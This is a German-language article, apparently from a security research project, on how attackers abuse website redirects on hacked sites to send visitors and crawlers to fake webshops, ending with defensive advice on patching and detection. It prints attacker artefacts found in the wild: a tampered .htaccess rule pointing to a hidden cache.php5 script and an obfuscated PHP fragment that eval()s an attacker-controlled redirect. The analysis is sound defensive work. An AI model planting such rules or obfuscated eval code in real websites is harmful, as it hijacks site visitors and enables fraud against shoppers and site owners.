Website Redirects im Umfeld von Fake Webshops und SEO Fraud
Website Redirects im Umfeld von Fake Webshops und SEO Fraud

Grundsätzlich werden sogenannte „Redirects“ dafür verwendet, die Besucherin oder den Besucher einer Website sowie Suchmaschinen-Crawler von einer URL auf eine andere umzuleiten. Redirects sind damit für Websites zunächst ein nützliches Werkzeug, um Userinnen bzw. Usern und Crawlern das Auffinden von Inhalten auf einer Website zu erleichtern.
Für Redirects gibt es verschiedene Anwendungen, die es dem Webmaster ermöglichen, die Aufrufe der Website zu steuern. So werden Redirects in diesem Zusammenhang häufig eingesetzt, wenn sich etwa der Domain-Name geändert hat und Aufrufe für die ursprüngliche Domain auf die neue umgeleitet werden. Außerdem kommen Redirects zum Einsatz, wenn der Inhalt einiger Seiten aktualisiert wurde und nur noch die aktuelle Seite oder eine bestimmte Seite angezeigt werden soll. Wenn zwei Webpages zu einer neuen Webpage zusammengeführt werden, ist ein Redirect ebenfalls sehr hilfreich.
Die Redirects erhöhen dabei den Komfort für die Benutzerin bzw. den Benutzer, da Redirects so eingestellt werden können, dass diese ohne Interaktion mit der Website-Besucherin bzw. dem Web-site-Besucher ablaufen. Dadurch verringern Redirects zudem die Wahrscheinlichkeit, dass gewünschter Traffic etwa durch geänderte Domain-Namen verloren geht. Dies gilt natürlich auch für Links, die im Internet weiterhin auf die alte Domain zeigen. Hier bewirken Redirects zudem, dass der sogenannte „SEO Link Juice“ auf die neue URL abfärbt und damit die Suchmaschinensichtbarkeit auf die neue Domain übertragen wird. Generell übernehmen die Suchmaschinen mit der Zeit bei permanenten Redirects die SEO Authority für die neue URL.
Welche Formen des Redirects gibt es?
Neben der Möglichkeit einen Redirect über den Registrar oder Website-Host einzustellen, können Redirects auch auf Server-Ebene platziert werden. Für den weit verbreiteten Apache Webserver übernimmt dies beispielsweise das Config-File htaccess:Apache Server
RewriteEngine onRewriteBase /
RewriteCond %{HTTP_HOST} ^example.com [NC]
RewriteRule ^(.*)$ http://www.example.com/$1 [r=301,L]
Eine dynamische Steuerung der Redirects kann auch über Skriptsprachen wie bspw. PHP oder JavaScript erreicht werden:
PHP
<?php header("Location: http://www.example.com/new-url "); exit();?>JavaScript
<script>window.location.href = "http://www.example.com/new-url/"</script>Auch hier wird ohne Mitwirkung der Userin oder des Users der Aufruf einer Webpage auf eine andere URL weitergeleitet.
Was ist das Risiko von Redirects?
Da die Aufrufe des Redirects ohne die Mitwirkung der Userin bzw. des Users ablaufen, wird diese Technik auch von Angreifern erfolgreich dazu verwendet, bei gehackten Websites die Website-Besucherin bzw. den Website-Besucher oder Search Engine Crawler auf eine manipulierte Website weiterzuleiten. Damit gelingt es bspw. Betreibern von Fake Webshops vom SEO-Ranking der gekaperten Website zu profitieren und so Netzwerk-Traffic auf manipulierte Websites umzuleiten.Dabei besteht für die Userin bzw. den User das Risiko, bei Einkäufen in Fake Webshops einem Be-trug zum Opfer zu fallen oder sich über die manipulierte Webseite Schadsoftware einzufangen. Aber auch der Website-Betreiber, dessen gekaperte Seite auf den Fake Webshop verlinkt, läuft Ge-fahr, auf einer Blacklist der Search-Engine-Betreiber zu landen und damit im Internet für Suchen unsichtbar zu werden. Dies kann gerade bei Geschäftstätigkeiten im E-Commerce-Bereich einen gravierenden Schaden für den Webseiten-Betreiber darstellen.
Wie werden Redirects festgestellt?
Im Rahmen eines Forschungsprojekts konnten wir verschiedene Redirects feststellen, die von An-greifern platziert wurden, um auf Fake Shops zu verweisen.Ein Beispiel einer festgestellten manipulierten .htaccess Website für einen statischen Redirect sieht dabei folgendermaßen aus:
RewriteEngine on
AddHandler x-httpd-php55 .php5
RewriteRule ^pillen/(.*)$ lib/mail/.cache/cache.php5?q=$1 [L]
Hier wurde die reguläre .htaccess Datei um einen Eintrag erweitert, der alle Aufrufe mit dem Be-griff „Pillen“ im URL-String auf ein PHP-Skript mit dem Namen „cache.php5“ weiterleitet. Das Skript wiederum baut eine Internetseite mit Verlinkungen zu Fake Shops auf.
Eine deutlich schwieriger festzustellende Form des Redirects stellen dynamische Redirects dar. Hier wird die Ziel-URL, auf die weitergeleitet werden soll, zur Laufzeit aus einzelnen Parametern auf-gebaut.
Im folgenden Code-Snippet wird die Funktion „IIPPVOAEg34tsji2n9“ bei (1) über einen dynamischen Parameter „$IzgF9rOtJZ0wOe1“ aufgerufen und erstellt den PHP-Code für den Redirect. Der Rück-gabewert „$IGe4PXeA42DaRD0“ wird in einer weiteren Funktion (2) dazu verwendet den PHP-Redirect anzupassen und über eval bei (3) auszuführen:
(1) $IGe4PXeA42DaRD0 = (IIPPVOAEg34tsji2n9($IzgF9rOtJZ0wOe1, "redirect", "yes"));
(2) if (stripos("qqq" . $IGe4PXeA42DaRD0, "THIS" . "ISPH" . "PRED" . "IRECT")) { $IGe4PXeA42DaRD0 = str_ireplace("THI" . "SIS" . "PHP" . "REDI" . "RECT", "", $IGe4PXeA42DaRD0);
$IGe4PXeA42DaRD0 = str_ireplace("<?php", "", $IGe4PXeA42DaRD0);
$IGe4PXeA42DaRD0 = str_ireplace("?>", "", $IGe4PXeA42DaRD0);
$IGe4PXeA42DaRD0 = str_ireplace("[DEFISKEY]", str_ireplace("-", "+", urlde-code($IGe4PXeA42DaRD1)), $IGe4PXeA42DaRD0);
(3) eval($IGe4PXeA42DaRD0);
Die dynamisch zur Laufzeit erstellte URL wird vom Angreifer gesteuert und leitete bei unserer Untersuchung die Userin bzw. den User unter (3) auf eine manipulierte Website weiter.
Diese Form des Hackings ist bei manipulierten Webseiten auch deswegen schwer zu analysieren, da der Angreifer für die verwendeten Variablen keine sprechenden Namen verwendet, sondern mit Funktionsnamen wie „IIPPVOAEg34tsji2n9“ den Code möglichst unleserlich gestaltet.
Was kann ich tun?
Eine Voraussetzung dafür, dass eine Website manipuliert werden kann, um bspw. die Datei .htaccess so zu konfigurieren, dass die Website-Besucherin bzw. der Website-Besucher auf die manipulierte Seite des Angreifers weitergeleitet wird, ist der Zugriff des Angreifers auf den Webspace. Dafür gibt es verschiedene Möglichkeiten, die über sogenannte Angriffs-Vektoren Schwachstellen eines Systems ausnutzen und einen administrativen Zugriff auf die Website ermöglichen.Hier ist der Betreiber der Website gefordert, genau diese Schwachstellen möglichst früh zu erkennen und zu beheben, um einen Angriff über diese Angriffsvektoren zu verhindern. Als Beispiel sind schwache Admin-Passwörter, die für CMS-Systeme verwendet werden, im Verhältnis einfach zu beheben. Schwieriger dagegen ist es, fehlerhafte Software zu erkennen und hier über entsprechende Software-Patches die Sicherheitslücken zu schließen. Software ist nie fehlerfrei, daher ist es die Herausforderung für den Website-Betreiber, das verwendete System aktuell zu halten, um die bekannten Schwachstellen über vorhandene Patches zu schließen und damit den Angriffsvektor über die zugehörige Schwachstelle zu schließen. Wichtig ist hier, alle Softwaremodule, die vom Website-Betreiber administriert werden, wie CMS, Datenbank, Plugins, Webserver, FTP Server, im Blick und aktuell zu halten.
Nach einem erfolgreichen Angriff müssen die Angriffsspuren festgestellt und beseitigt werden. Eine sog. Post-mortem-Analyse hilft dabei, die „lessons learnt“ zu verarbeiten. Bei der Post-mortem-Analyse sollte auch betrachtet werden, wie die Angriffsfläche verringert werden kann, um zukünftige Angriffe zu erschweren. Hier steigert die Resilienz eines Webauftritts gegen Angriffe sicherlich das bereits beschriebene regelmäßige Update von Software. Auf der Seite der Intrusion Detection helfen Security Plugins, die in der Lage sind, die Aktualität von Softwaremodulen festzustellen, als auch verdächtige Vorgänge zu detektieren. Damit wird die Widerstandsfähigkeit des Systems gegen Angriffe genauso erhöht wie die Sichtbarkeit des Website-Betreibers auf eventuelle verdächtige Vorgänge. Dies verkürzt die Zeit, bis Security Incidents festgestellt und behandelt werden können, und erhöht damit wesentlich die Sicherheit Ihrer Website und deren Besucherinnen und Besucher.